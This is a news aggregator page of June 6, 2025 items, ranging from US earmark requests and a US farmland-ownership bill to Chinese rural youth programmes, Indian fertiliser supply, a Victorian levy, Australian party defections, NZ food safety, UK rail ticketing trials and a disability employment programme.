Project Description and Justification: This funding will be used for the construction of a new building for the Outreach Services Department at the Crest Hill Branch Library, allowing the library to reach more people in Will County. The funding will be used to construct a new building, hire two additional staff members to support the new location’s expanded services, and purchase three computer workstations and essential technology like chargers and keyboards.

Additionally, the funding will allow the library to purchase a Bookmobile to continue outreach efforts outside the library’s physical location as well as additional books for circulation.

Project Title: Shab-eh-nay Tribal Administration Buildings

Project Sponsor: Prairie Band Potawatomi Nation

Amount Requested: $1,360,914

Address of Sponsor: 16281 Q Road Mayetta, Kansas 66509

Project Purpose and Justification: This funding will support the construction of governmental office space for the Prairie Band Potawatomi Nation and their neighbors. The new building will allow the Nation to have a designated facility to conduct its government business, deepen their connections with the community, and provide services to residents.

Project Title: Strengthening Rural Healthcare for Farmers and Families in Mendota, IL

Project Sponsor: Community Health Partnership of Illinois

Amount Requested: $1,250,000

Address of Sponsor: 205 West Randolph Street, Suite 1340, Chicago, IL 60606

Project Purpose and Justification: This funding will expand the Mendota Health Center, transforming the 10,666-square-foot warehouse into an expanded space for medical, dental, and behavioral health services.

The proposed health center will house 25 employees and serve over 6,000 individuals needing accessible, quality primary care services. The Mendota Health Center is a lifeline for the community, providing quality health care in Mendota and surrounding areas.

###

MIL OSI USA News –

June 6, 2025
MIL-OSI China: Crossing mountains, Chinese youth building future beyond the fields

Source: People’s Republic of China – State Council News

On a crisp spring morning, Wang Bing navigated frost-rimmed paths toward her office at the government building of Taxkorgan Tajik Autonomous County in northwest China’s Xinjiang Uygur Autonomous Region, a windswept frontier perched 4,000 meters above sea level on the Pamir Plateau.

Last year, the 24-year-old from Inner Mongolia Autonomous Region in north China had joined 44 peers in the “Go West” program, trading city life for a government audit role in one of China’s most remote regions. Her sun-burned cheeks tell a story shared by hundreds of thousands — generations redefining success through service in the nation’s hinterlands.

Wang’s journey mirrors a seismic shift among China’s youth. Since its launch in 2003, China’s “Go West” program has enabled 540,000 young volunteers to serve across over 2,000 county-level regions in the country’s vast, underdeveloped western regions for a year or more, according to the Communist Youth League of China. The talent program seeks to bring fresh perspectives and energy to areas with significant growth potential.

In Kuqa City’s No. 3 Middle School, Liu Daqian from Harbin Institute of Technology (HIT) in northeast China, helps his students, who once “struggled to hold a mouse,” to practice robot programming. In January 2024, an HIT alumni-founded company donated an AI laboratory to the school. That same year, two student teams mentored by HIT volunteer teachers won national competition awards, setting a new record for southern Xinjiang.

“I studied bridge engineering, and I want to build that same kind of bridge, one that connects children to a bigger world,” said Liu, who teaches geography. To his students, the witty and humorous teacher from Heilongjiang Province possesses a magical charm — he always seems to have the answer to every question.

Of those in the “Go West” program, over 55,000 volunteers have served in Xinjiang, a region covering one-sixth of China’s territory, with more than 15,000 choosing to remain in Xinjiang long term, the regional Communist Youth League Committee revealed.

Wang Jiamin, meanwhile, has returned to familiar territory but in a new role. After earlier teaching in rural Yunnan Province in southwest China via this program, the Beijing Foreign Studies University graduate has gone back to Yunnan after her stint as a student in the Chinese capital, this time serving as a civil servant. Calling Yunnan her “second hometown,” Wang expressed excitement about trekking through the fields and visiting the homes of villagers to persuade families to send their children back to school.

There are also rooted professionals active in rural settings in the west of China. Dressed in pink scrubs and gloves, 29-year-old veterinarian Bai Hua deftly examined a cow in Guyuan of northwest China’s Ningxia Hui Autonomous Region, where she was born into a cattle farming family and has practiced as a veterinarian for a decade since graduating from a local vocational-technical school.

“Field vets must travel village-to-village daily and most can’t handle it,” she said, recalling initial skepticism from farmers about her petite frame. “But skill outweighs size,” she added. Her team now treats over 100 livestock daily — providing critical expertise to remote farms.

Youth-driven innovation is transforming rural economies. In the mountainous areas of Longnan, northwest China’s Gansu Province, tech-savvy entrepreneur Zhao Wuqiang could be seen live-streaming his walnut oil products to national audiences. A former software engineer in eastern China, Zhao made a pivotal career shift 14 years ago. His foresight of China’s internet boom and his hometown’s untapped potential combined to create a 380-million-yuan (about 52.9 million U.S. dollars) business integrating more than 200 farming cooperatives, establishing direct farm-to-table supply chains while modernizing walnut cultivation for some 12,000 farmer households.

“Upgraded rural internet infrastructure and logistics networks have been game-changers for our e-commerce growth,” Zhao said. The ex-programmer’s company has garnered 130,000 followers on social media platforms.

Official statistics showed that as of the end of 2024, over 90 percent of China’s administrative villages had achieved 5G network coverage, with gigabit broadband networks now available in all county-level regions. Notably, rural logistics infrastructure has also seen significant enhancement, with 346,000 integrated mail and delivery service stations now operational at village level — providing express delivery access to more than 95 percent of the country’s administrative villages.

As China accelerates its agricultural modernization, a growing wave of urban youth are returning to their rural roots. In Anji County of east China’s Zhejiang Province, an eco-tourism hotspot which drew over 34 million visitors last year, Ding Chuxiao, 27, blends design flair with tea culture and farm experiences.

Ding’s creative teahouse showcases her artistic vision through bamboo products, white tea caddies and canvas bags with ink-wash painted tea hills, capitalizing on Anji’s booming rural tourism. The slower pace there fuels her creativity, and Ding’s business now generates revenue of more than 100,000 yuan annually.

China’s urban-rural development model preserves rural landscapes while injecting modern elements, addressing agricultural gaps to achieve shared prosperity. “Young people bring fresh perspectives and market savvy to identify new opportunities in rural revitalization,” said Xue Zelin, a senior fellow and secretary of the Communist Youth League Committee of Shanghai Academy of Social Sciences.

To date, more than 12 million people have returned to or settled in rural areas to start businesses across China, according to Han Wenxiu, executive deputy director of the Office of the Central Committee for Financial and Economic Affairs, who noted that human capital is fundamental to rural revitalization, emphasizing the need to leverage the countryside’s abundant opportunities to attract talent while utilizing its pleasant and scenic living conditions to retain them.

“Even deep in the mountains, if you settle in with commitment and perseverance, you’ll grow upward and see the promise of rural revitalization,” Zhao said.

MIL OSI China News –

June 6, 2025
JP Nadda chairs high-level meeting to review availability, distribution of fertilisers in Kharif season

Source: Government of India

Source: Government of India (4)

Union Minister for Chemicals and Fertilizers, JP Nadda, chaired a high-level meeting on Thursday to review the availability and distribution of fertilizers during the ongoing Kharif season. The meeting, held with officials from the Department of Fertilizers, focused on ensuring timely supply and promoting sustainable agricultural practices.

During the meeting, Nadda highlighted the vital role of agriculture in ensuring national food security and stressed the importance of making essential nutrients available to support crop productivity. He was briefed on the current status of fertilizer supply and preparations for Kharif 2025. Officials informed that domestic fertilizer production is being maintained at an optimum level, with diammonium phosphate (DAP) production reaching 3.84 lakh metric tonnes—the highest in recent months.

To bridge the gap between demand and domestic supply, Indian fertilizer companies have secured agreements with key exporters, including Saudi Arabia, Morocco, and Russia. These tie-ups aim to ensure consistent imports throughout the year. Nadda instructed officials to ensure fertilizers are promptly distributed across all states to meet farmers’ requirements. He also emphasised the need for close coordination with state governments, fertilizer companies, Indian Railways, and port authorities to streamline the supply chain.

Expressing concern over the increasing reliance on chemical fertilizers, especially urea, the minister called for a renewed focus on sustainable agriculture. He directed officials to intensify the implementation of PM-PRANAM (PM Programme for Restoration, Awareness Generation, Nourishment, and Amelioration of Mother-Earth). The initiative promotes balanced fertilizer use, adoption of alternatives, and encourages organic and natural farming. States demonstrating a reduction in chemical fertilizer use will be eligible for incentives under the scheme.

Nadda also underlined the need for strict action to curb the illegal diversion, hoarding, and black marketing of fertilizers. He called for coordinated efforts with state governments to prevent such practices and ensure fertilizers reach the intended beneficiaries.

The meeting was attended by Rajat Kumar Mishra, Secretary, Department of Fertilizers, along with senior officials including Anita Meshram and Aparna S. Sharma, Additional Secretaries, and Abhay Sharma, Director (Movement).

June 6, 2025
MIL-OSI Australia: Emergency Services Volunteer Fund statement

Source: New South Wales Ministerial News

This is a statement from City of Greater Bendigo Councillors regarding the Emergency Services Volunteer Fund.

From July 1, the Emergency Services Volunteer Fund (ESVF) replaces the Fire Services Property Levy (FSPL). It will be calculated based on a fixed charge that varies by property type and a variable charge based on property value.

The new levy will be applied to forthcoming rates notices and will be a cost increase experienced by all ratepayers.

In particular, the City of Greater Bendigo acknowledges the deep disappointment and concern of our community, including our farming community, regarding the introduction of the ESVF, under which it has been reported farmers will pay many thousands of dollars more in comparison to the FSPL.

The City cannot choose not to collect the levy. It is a legislative requirement, with the City effectively acting as a collection agency for the Victorian Government.

At the Municipal Association of Victoria May State Council Meeting the City added its voice and voted in favour of resolution 1.1a that expressed disappointment with the implementation of the ESVF and Local Government collecting the funds on the State’s behalf.

The City is also a member of Regional Cities Victoria (RCV), an alliance of regional cities, of which Mayor Cr Andrea Metcalf is Deputy Chair. RCV has been consistently vocal about the adverse impacts of the ESVF.

Despite the Victorian Government’s decision to cap the 2025/2026 ESVF levy at the 2024/2025 FSPL rate for primary producers, the reality is this is just a pause.

To assist where it can, the City’s 2025/2026 Budget proposes to reduce the rate in the dollar rural landholders will pay and not increase waste charges for all ratepayers in the new financial year.

The City also recognises the ESVF is just one of many challenges rural communities in central Victoria are facing that have a direct impact on their livelihoods – the ongoing impact of flood damage now being met with drought conditions, decreased water allocations, mining expansion, proposed renewable energy zones and upgrades to energy infrastructure.

The Victorian Government’s decision to expand its drought relief package is welcome, however much more significant and longer-term support is needed if local farming businesses are to survive the current conditions.

The cooler months are generally quieter for the Bendigo Livestock Exchange but over the past few weeks the City has seen unusually high yarding numbers for the Monday sheep sales, an example of farmers de-stocking due to a lack of fodder and high feed costs.

On the plus side they are getting exceptional prices per head but the decision to sell can take a significant personal toll. Long term, they will also need to rebuild their flocks at a cost.

The City looks forward to the newly established Drought Response Taskforce making recommendations on behalf of the farming community directly to government. The committee will be chaired by Premier and Member for Bendigo East, The Hon. Jacinta Allan, and RCV and the Bendigo Bank will be represented on the group.

It is Council’s commitment to write to the Premier, relevant ministers and the taskforce to advocate for a roadmap for what comes next, asking things like is there a state fodder plan, how to do we keep money flowing to small rural businesses as farms dry up and what do ‘exceptional circumstances’ look like?

Of course, we hope we don’t have to find out, but farmers are realists and need reassurance help will be there if they need it.

MIL OSI News –

June 6, 2025
MIL-Evening Report: Defections are fairly common in Australian politics. But history shows they are rarely a good career move

Source: The Conversation (Au and NZ) – By Frank Bongiorno, Professor of History, ANU College of Arts and Social Sciences, Australian National University

For many years now, Australian political scientists have pointed out that that established partisan allegiance is in decline. In 1967, 36% of Coalition supporters and 32% of Labor voters reported lifetime voting for their side. At the 2022 election, the Australian Election Study found the figures to be 16% and 12%.

These changes help to explain the rising support for independents and minor parties at federal elections; they now take about a third of the primary vote.

So much for voters. What about for politicians? Of course, there have always been plenty of parliamentarians who had an earlier stint as a member of some other party before landing in the one that sent them into parliament. Brendan Nelson was in the Labor Party before he was Liberal. John Gorton was Country Party before he was Liberal. Adam Bandt was Labor before he was Green. And so on. We are all entitled to change our minds, even if switching political parties was once closer to changing football teams – a habit that immediately arouses suspicion in a sports-loving nation.

Senator Dorinda Cox’s switch from the Greens to the Labor Party was apparently a homecoming, according to Cox. She was once a Labor Party member, she said. Last week, she was criticising the party over its approval of Woodside’s Northwest Shelf gas project. This week, she finds Labor’s values aligned with her own.

Of course, her defection has been accompanied by a steady leaking of little details of her Greens career, such as an excoriation of the Labor Party, in her application to run for the Greens, when she said the ALP patronised “women and people of colour” and cared more about its donors than members.

That’s politics, but it’s a democratic deficit that senators elected as part of a Senate team, in a system that has facilitated above-the-line voting since 1984, can sit for years afterwards in the parliament as a member of another party.

But good luck in getting up a constitutional change, via referendum, to change that.

Still, it is easy to understand how such nimbleness breeds cynicism about political parties. Another perspective might be that the fluidity of allegiance out in the electorate has come to inhabit the political class itself.

All the same, defections from one party to another are quite rare these days in federal politics, at least after one is sitting in parliament. But defections from a party to sit as an independent are not and some, such as Bob Katter, have managed to build successful political careers outside the parties.

One who did not was was Julia Banks, the Liberal member for Chisholm, who announced she would not be seeking re-election and then left the party for the crossbench in the wake of Scott Morrison’s ascension to the leadership in 2018. Banks complained of bullying and intimidation within the Liberal Party and the wider parliament, and wrote a book on her experiences. She subsequently failed to gain election as an independent in another seat.

There were several defectors in the last parliament. A House of Representatives crossbench that began at 16 had reached 19 by the end, with the defections of two Liberals (Russell Broadbent and Ian Goodenough, both after losing preselection) and one National, Andrew Gee, the latter over his party’s opposition to the Voice. Only Gee has lived politically to tell the tale, winning Calare as an Independent, as Peter Andren did before him.

Defections from minor and microparties are especially common, based as they often are on a high-profile leader and lacking traditions of party discipline or solid structures of organisational governance. Jacqui Lambie began as a Palmer United Party senator. Tammy Tyrrell began as a Jacqui Lambie Network senator.

The biggest “defection” in modern Australian politics was that of Cheryl Kernot from the Australian Democrats to the Labor Party in 1997. It is easy, over a quarter of a century on, and with the Australian Democrats no longer in the Australian parliament, to underestimate what a big deal this was at the time.

Kernot was a rock star of a politician, leader of the Australian Democrats, and a national celebrity. But there are significant differences with Cox beyond Kernot’s greater eminence. She resigned her Senate seat immediately and would win the marginal Brisbane seat of Dickson in the following year’s election. Then, in 2001, she would lose it to a young and ambitious former policeman named Peter Dutton.

The experience was ultimately an unhappy one for Kernot: she believed that having recruited her into the ranks, the Labor Party – and its leader, Kim Beazley, did not know how to make the best use of her. She was also on the receiving end of some relentlessly negative and sometimes intrusive media coverage. And by her own admission, she made mistakes. The story of her career’s unravelling is not straightforward. The role that gender played in it remains contentious.

Perhaps Kernot’s experience would alone be sufficient to prompt second thoughts in anyone seeking to jump ship. There are, of course, older prohibitions. In the Labor Party, a defector was known as a “rat”. Billy Hughes, the prime minister whose effort to introduce conscription in the first world war split the party, is the most famous of them.

“Rat” is not a word much heard these days, but it was thrown around a bit when Senator Fatima Payman defected in 2024, and applied more seriously in 1996 to Labor Senator Mal Colston when he resigned from the Labor Party in exchange for the deputy presidency of the Senate.

The best historical example of a defection being good for your career is that of Joe Lyons, who ratted on Labor in 1931 to lead a new party called the United Australia Party, a switch engineered by a small group of influential businessmen.
The circumstances – the Great Depression, real fear of civil violence, and the disintegration of a federal Labor government – were highly unusual.

More commonly, defection is a bad career move. Most of the Labor politicians who went over to the breakaway anti-communist Democratic Labor Party (DLP) in the mid-1950s found themselves out of parliament and looking for a new job. Stan Keon, one of those flying high ahead of the split, even occasionally mentioned – unrealistically – as a possible future prime minister, would run a Melbourne wine shop. Others, such as Vince Gair, Queensland Labor premier, lived to fight another day as a DLP senator (and ambassador to Ireland).

Cox has three years left of her senate term. After that, she will be at the mercy of the Labor Party. Labor won three Senate seats at the 2022 half-Senate election in Western Australia and perhaps it could do so again. On that occasion, in a surprise victory, the third place went to the young up-and-coming union organiser, Fatima Payman.

Frank Bongiorno does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. Defections are fairly common in Australian politics. But history shows they are rarely a good career move – https://theconversation.com/defections-are-fairly-common-in-australian-politics-but-history-shows-they-are-rarely-a-good-career-move-258177

MIL OSI Analysis – EveningReport.nz –

June 6, 2025
MIL-OSI New Zealand: New food safety booklet features science-backed tips to avoid food poisoning
Source: NZ Ministry for Primary Industries

Whether you’re making family dinner, heating up leftovers, packing lunch for the kids, or having friends over for a barbecue, New Zealand Food Safety has great science-backed tips to keep everyone safe.

“Every year, thousands of New Zealanders get food poisoning. Many of these foodborne illnesses are due to poor food preparation, cooking, or storage at home,” says New Zealand Food Safety deputy director-general Vincent Arbuckle.

“There’s a wide range of symptoms, ranging from the inconvenient to the life-threatening for people vulnerable to illness.

“New Zealand Food Safety already has a wealth of science-based information on its Food safety at home webpages to help you prevent getting foodborne illnesses. This year, to coincide with World Food Safety Day tomorrow, we have distilled all this expertise into a new booklet of simple tips for avoiding foodborne illness in the home.”

From the store to your table, the ‘Food safety at home’ booklet is packed with science-based food-safety advice. It contains:
- The latest evidence-based recommendations for preparing, cooking, storing, and transporting food safely. Did you know: Handwashing is one of the best ways to prevent foodborne illness. Washing them before preparing or eating food helps prevent germs spreading to your food.
- Updated advice on handling and cooking raw meat and meat products; barbecuing and eating outdoors; keeping at-risk people safe; and how long you can keep leftovers. Did you know: You can keep leftovers for up to 4 days in the fridge if you are going to eat them hot. But leftovers of cooked meals you won’t be reheating – like pasta salad – should only be kept for 2 days.
- Dedicated sections on use-by and best-before dates and advice for shellfish gatherers. Did you know: If a food is past its use-by date, throw it away as it’s not safe to eat. But if it’s past its best-before and it smells and looks okay, it probably is. Check it, sniff it, taste it – don’t waste it.
World Food Safety Day – jointly led by the World Health Organization and the Food and Agriculture Organization of the United Nations – highlights the importance of food safety for the health, prosperity and wellbeing of people around the world. The theme for 2025 is “Science in action”.

“Our advice is based on up-to-date science, it’s now up to you to take action,” says Mr Arbuckle.

You can download your own ‘Food safety at home’ booklet on our website. And, to celebrate World Food Safety Day, try our quiz on Facebook tomorrow to see how food safety savvy you are.

Food safety at home booklet [PDF, 1.1 MB]

Food safety at home

World Food Safety Day

For further information and general enquiries, call MPI on 0800 00 83 33 or email info@mpi.govt.nz

For media enquiries, contact the media team on 029 894 0328.

MIL OSI New Zealand News –
June 6, 2025
MIL-OSI United Kingdom: Your chance to try simpler train tickets in Yorkshire and the East Midlands this September
Source: United Kingdom – Executive Government & Departments

Press release

Your chance to try simpler train tickets in Yorkshire and the East Midlands this September

Up to 4,000 rail passengers can take part in each route of the pay-as-you-go ticketing trials.
digital ticketing trials will start from the end of the summer across Yorkshire and the East Midlands

passengers can now sign up for one of the 4,000 places available

demonstrates government action to overhaul ticketing and get more people onto our railways as part of our Plan for Change

From today (6 June 2025), thousands of passengers across the north and East Midlands will have a chance to volunteer to take part in a new digital ticketing trial.

Backed by government funding, the trials will use GPS-based technology to track train journeys, ensuring passengers pay the best fare for the journey they take.

Digital ticketing builds on the government’s plans to overhaul the railways to make them simpler, more flexible and passenger-focused. Ahead of the creation of Great British Railways, the government continues to work to deliver positive changes like this for passengers – attracting more people back onto our trains, boosting the economy and delivering on the government’s Plan for Change.

The trials being operated by East Midlands Railway (EMR) and Northern Trains will run along these routes:

Leicester to Derby to Nottingham

Harrogate to Leeds

Sheffield to Doncaster

Sheffield to Barnsley

Rail Minister, Lord Peter Hendy, said:

Contactless ticketing is making journeys easier to navigate for millions of passengers and now our digital trials are actively recruiting volunteers to help expand this technology across Yorkshire and the East Midlands.

Simplifying ticketing is a major part of our plans to overhaul the railways. I encourage anyone who regularly gets the train along these routes to get involved and help us build a ticketing system that delivers a better experience for passengers and communities across the country.

Unlike the previous rollout of pay-as-you-go, which uses contactless payment at barriers, these trials will use GPS-based technology to track people’s location throughout their train journey.

Up to 1,000 passengers will be able to take part in each route of the trials, meaning 4,000 passengers in total. The first trial to get underway will be on EMR between Leicester, Derby and Nottingham, kicking off at the beginning of September. The other routes, operated by Northern, will begin between September and November, with each running for 9 months from the start date.

Anyone interested in taking part should check EMR and Northern Trains’ websites, where a recruitment campaign has been launched.

Alex Hornby, Commercial and Customer Director, Northern Trains, said:

These trials mark an important step forward in simplifying rail travel and making the experience as frictionless as possible for our customers. By trialling pay-as-you-go technology on some of our routes, we’re helping to shape a future where hopping on a train is as easy as checking in and out.

We will now be reaching out to regular customers on those routes to see if they would be willing to participate in these trials later this year. We’re excited to see how they respond and look forward to playing our part in modernising how people travel by rail in the north.

These trials are expected to build on the success of the rollout of contactless ticketing at 53 stations across the south east. Since its introduction, more than 2 million entries and exits have been made using contactless cards or mobile devices, averaging around 140,000 a week – showing how popular the system is with customers using those stations already.

The department is also working closely with Greater Manchester and the West Midlands to develop their proposals for rolling out contactless ticketing even further.

Jenna Cowie, Interim Commercial Director at East Midlands Railway, said:

We’re excited to be part of a project that aims to improve the way people travel and it is a great opportunity for our customers in Derby, Nottingham and Leicester to be among the very first in the country to experience a new, smarter way to buy train tickets.

This trial is all about making train travel easier, faster and more intuitive. No more fare confusion – just check in and out with your phone and travel knowing you’ll automatically pay the best-value fare for your journey.

This follows on from a watershed moment last month when South Western Railway (SWR) services became the first train operating company to transfer back into public control since the passing of the Public Ownership Bill, ending almost 30 years of fragmentation and waste under privatisation.

By bringing track and train together, Great British Railways will enable operations to run more seamlessly, bringing accountability and reliability back into the railways and, in turn, helping to reduce delays and cancellations.

Great British Railways will not just be the name of the new nationally owned railway, it symbolises a complete reset that will mark the high standard of service and delivery the public should expect to receive.

This week, the government also announced £15.6 billion – the biggest ever investment – in buses, trams and local train infrastructure for city regions, benefiting working people across the north, the Midlands and the south west. The funding – a more than double real-terms increase in capital spending on local transport in city regions by 2029 to 2030 compared with 2024 to 2025 – will empower local leaders to invest in transport projects that will make a difference to their local area.

Rail media enquiries

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Published 6 June 2025
MIL OSI United Kingdom –
June 6, 2025
MIL-OSI USA: Ricketts Introduces the AFIDA Improvements Act
US Senate News:
Source: United States Senator Pete Ricketts (Nebraska)

WASHINGTON, D.C. – Today, U.S. Senator Pete Ricketts (R-NE) introduced the Agricultural Foreign Investment Disclosure (AFIDA) Improvements Act. The bill will codify legislative oversightrecommendations to update the Agricultural Foreign Investment Disclosure Act of 1978. The AFIDA Improvements Act will equip the U.S. Department of Agriculture (USDA) to combat foreign adversaries’ ownership of American agricultural land. Senators Tommy Tuberville (R-AL), John Fetterman (D-PA), Roger Wicker (R-MS), John Cornyn (R-TX), and Katie Britt (R-AL) are original co-sponsors of this legislation in the Senate. Rep. Don Bacon (R-NE) is leading companion legislation in the House.

“Agriculture is the heart and soul of Nebraska and of America,” said Ricketts. ”American farmland should remain in the hands of American farmers and ranchers, not foreign adversaries. Food security is national security.”

“Over the past several decades, China has been buying up American farmland in an attempt to infiltrate our agriculture supply chains. Food security is national security, and we cannot give the CCP a foothold. Thankfully, President Trump and Ag Secretary Brooke Rollins are working to make American Farmland American Again. I’m proud to join this legislation with Senator Ricketts to update our reporting requirements for foreign purchases of our farmland for the first time in nearly 50 years. As Alabama’s voice on the Senate Ag Committee, I will always support our great farmers and work to protect them from bad actors like China,” said Sen. Tuberville.

“We come together on this legislation to address the national security concerns stemming from the growing purchases of farmland by the Chinese Communist Party,” said Rep. Bacon. “Having actual processes in place will strengthen the security of our nation in the event nefarious foreign agents, such as the CCP, try to purchase agricultural lands within our nation. These lands must be protected as they are essential to feeding our country and other parts of the world, feeding livestock, fueling vehicles, and other uses.”

“Foreign entities purchasing American farmland opens the door to serious national security threats from countries like China that aim to undermine the United States, and we’ve already seen nefarious attempts by the Chinese Communist Party to acquire farmland near U.S. military bases in Texas,” said Sen. Cornyn. “This legislation would enhance existing measures by strengthening enforcement and promoting data sharing so that we can more easily identify foreign adversaries purchasing U.S. farmland with malicious intent.”

The AFIDA Improvements Act:
- Will codify recommendations published in January 2024 by the legislative branch’s oversight entity after it conducted a study of AFIDA.
  
  In this report, it was found that the USDA’s AFIDA process has been ill-equipped to combat the foreign ownership of American agricultural land by foreign adversaries;
- Will increase information sharing between the Committee on Foreign Investment in the United States and USDA;
- Will require updates to the AFIDA handbook and establish a deadline by which USDA must set up an online AFIDA system; and
- Will require AFIDA reporting for foreign persons holding more than one percent interest in American agricultural land.
The text of the bill is available here.

This bill was initially covered in Fox News.

BACKGROUND:

Under AFIDA, foreign entities are required to disclose the transactions of American agricultural land to the USDA.

According to USDA, foreign investors own over 40 million acres of agricultural land across the United States. Additionally, between 2010 and 2021, Chinese ownership of American agricultural land increased from 13,720 acres to 383,935 acres.
MIL OSI USA News –
June 6, 2025
MIL-OSI USA: Milestone for Favarh’s Project SEARCH at UConn Health

Source: US State of Connecticut

A specialized training program at UConn Health is now responsible for helping more than 60 adults overcome barriers to independent employment since 2016.

Favarh’s Project SEARCH, which works with employers to provide structured work experiences for adults with intellectual or developmental disabilities, has graduated its 10^th cohort at UConn Health, which is the first employer in Connecticut to serve as a host site.

The milestone bridge ceremony at UConn Health Wednesday celebrated the accomplishment of the five interns who completed a 10-month program that included daily hands-on work experiences in a variety of departments and settings. One of them, Ryan Cook, drew cheers (and some tears of happiness) when he announced from the podium, “We are proud to share that we are all employed.”

Graduates of Favarh’s Project SEARCH at UConn Health from years past celebrate with the Class of 2025 as the training program celebrates its 10th cohort at UConn Health. (Tina Encarnacion/UConn Health photo)

Cook, from Terryville, already is working at the Walgreens in Thomaston, as a cashier. He spent part of his internship as a cashier in the cafeteria in UConn Health’s main building, as well as in the pharmacy and the linen department.

“We were not sure where our path would take us before Project SEARCH, but now we are profoundly grateful for being able to experience such amazing internships and met so many wonderful people along the way,” Cook said before accepting his certificate.

Scott Masson, of Canton, interned in the mailroom, UConn Center on Aging, and central receiving, and is employed as a utility worker at Naples Pizza and the neighboring Fork and Fire Restaurant in Farmington.

“We are glad to have all of you in our corners,” Masson told the audience, which included mentors, department representatives, and Project SEARCH graduates from previous years, in addition to family members. “You encourage us at every step of our employment journey. We could not ask for better leaders to have assisted us. It has been a life-changing experience. Our self-confidence as never been higher.”

The ceremony also included a video about Favarh’s Project SEARCH at UConn Health, featuring this year’s interns:

[embedded content]

Meghan Dyer, from Bristol, interned in dental finance, the psoriasis center, and dental telecommunications. Reflecting on the bridge ceremony, she says, “It was definitely emotional. There’s a lot of people that I just don’t know, but it’s nice to see almost like the history of this program walking the halls, because I’m part of it now. I can say that I’m a graduating member of Project SEARCH’s 10 years.”

Meghan Dyer is newly employed at UConn Health in dental telecommunications following completing of an internship with Favarh’s Project SEARCH at UConn Health. (Tina Encarnacion/UConn Health photo)

Dyer had interviewed for a paid position in dental telecom. She described a call she had while on duty there about two weeks before graduating.

“It’s almost like a sitcom,” she says. “Completely mundane day, the out of the blue, the phone that never takes inbound calls magically gets an inbound call, and it’s Pamela Rucker from HR, telling me I got the job… It was like a pipe dream – I wasn’t expecting it to happen, would have loved it to happen. I wanted to be in the medical field.”

The bridge ceremony included an open forum, where attendees spoke about their connection to the program. George Moses is the operations manager for housekeeping and linens, both areas where interns have been rotating through from the program’s start.

“It’s been amazing,” Moses said. “They have taught our staff some great skills too, how to communicate and communicate with each other very well. It’s just been a pleasure.”

Then he addressed Logan Haynes, who interned in custodial, housekeeping, and central receiving:

Logan Haynes is among five young adults who completed a 10-month internship with Favarh’s Project SEARCH at UConn Health. (Tina Encarnacion/UConn Health photo)

“And Logan, you are an amazing young man!”

Haynes, from Canton, is employed as a dishwasher at Beanz & Co., a coffee shop in Avon.

Beanz & Co. also hired Chloe Roberts, who interned in the kitchen, the dermatology clinic, and the psoriasis center.

“It was a bit scary for a couple weeks, and then the staff was really nice and kind and it helped me get through my experience and job skills,” Roberts says. “I used to be shy, talking to the patients, but now my confidence went up a little bit.”

Over its 10 years at UConn Health, 98% of Favarh’s Project SEARCH interns have found successful independent employment, working a minimum of 16 hours a week in a nonseasonal position with market wages. The National Project SEARCH placement rate is 72%.

“I think the mentors here at UConn really understand the program and the purpose, and that is a big part of why we’re so successful,” says Sandy Finnimore, Favarh’s competitive employment coordinator. “The mentors understand that this is not just something to fill the interns’ day, it’s going to change their life. They have to be held accountable and teach them their skills, or they’re not going to be successful, and the mentors understand that. We’ve been very lucky, because all of our mentors have been amazing.”

Finnimore has been involved in the program at UConn Health since Day 1.

“[Ten years ago] I wouldn’t be able to fathom that this many people would have come into my life and I would have been a part of teaching them,” she says. “It’s just unbelievable.”

For Favarh assistant manager Keegan Riley, this was the first cohort she worked with at UConn Health.

Sandy Finnimore of Favarh directs Ryan Cook toward a camara at the bridge ceremony for Project SEARCH at UConn Health. (Tina Encarnacion/UConn Health photo)

“They did so well,” Riley says. “They came in so nervous and excited and driven. I mean, they didn’t’ stop, they just kept trying, kept trying, kept trying. Any feedback we gave them, anything that the mentor said they need to work on, we told them, and they applied it. They were hungry for that position and that job.”

After the ceremony, Cook reflected on his biggest takeaway from his Project SEARCH experience.

“Learning about who I wanted to become and changing my life around,” Cook says.

The 11^th cohort, which starts at UConn Health in August, has eight interns.

Favarh is based in Canton and is a chapter of the Arc, a worldwide organization that supports people with disabilities. In partnership with UConn Health Human Resources and the Connecticut Departments of Developmental Services and Rehabilitative Services, Favarh brought Project SEARCH to UConn Health in 2015.

Learn more about Project SEARCH at UConn Health.

MIL OSI USA News –

June 6, 2025
MIL-OSI: Altus Group’s Benchmark Manager Wins 2025 Realcomm Digie Award

Source: GlobeNewswire (MIL-OSI)

TORONTO, June 05, 2025 (GLOBE NEWSWIRE) — Altus Group Limited (“Altus” or “the Company”) (TSX: AIF), a leading provider of commercial real estate (“CRE”) intelligence, is pleased to share that its newly released Benchmark Manager add-on on ARGUS Intelligence has been awarded the 2025 Realcomm Digie Award for Best Tech Innovation in CRE.

Presented at the Realcomm | IBcon 2025 conference in Savannah, GA, the award celebrates groundbreaking technology that is advancing the CRE industry. Benchmark Manager is the Company’s latest add-on capability on ARGUS Intelligence – Altus’ new flagship platform for modeling, monitoring and managing CRE asset and portfolio performance.

With the ARGUS Intelligence Benchmark Manager add-on, investors now have access to a performance management solution that integrates cashflow modeling, scenario analysis, and market benchmarks. This augments performance attribution analysis to a new level. It helps investors evaluate the strengths and weaknesses of their assets and portfolios. The increased intelligence drives higher quality and more timely decisions.

“We’re honoured to receive this recognition from Realcomm,” said Jorge Blanco, Altus’ Chief Strategy Officer, who attended the conference as a featured panelist. “ARGUS Intelligence’s Benchmark Manager represents a major leap forward in how performance data is used in CRE and directly responds to client feedback. Market comparisons are only as good as the veracity and currency of its underlying data. Those are the two pillars of this new capability. It is driven by one of the most comprehensive datasets in the industry. The award recognizes our ongoing commitment to persistent innovation.”

Now in its 26th year, the Realcomm Digie Awards recognize visionary companies, projects, and leaders that are transforming the real estate landscape through the application of technology, automation, and innovation.

For more information about Benchmark Manager and ARGUS Intelligence, visit altusgroup.com.

About Altus Group

Altus connects data, analytics, applications and expertise to deliver the intelligence necessary to drive optimal CRE performance. The industry’s top leaders rely on our market-leading solutions and expertise to power performance and mitigate risk. Our global team of ~2,000 experts are making a lasting impact on an industry undergoing unprecedented change – helping shape the cities where we live, work, and build thriving communities. For more information about Altus (TSX: AIF) please visit www.altusgroup.com.

FOR FURTHER INFORMATION PLEASE CONTACT:

Elizabeth Lambe
Director, Global Communications, Altus Group
+1-416-641-9787
elizabeth.lambe@altusgroup.com

The MIL Network –

June 6, 2025

Category: Farming

Rep. Cleaver, Ranking Member of the Financial Services Subcommittee on Housing and Insurance, accepted the award after decades of work to expand access to safe, decent, and affordable housing

High-level dialogue

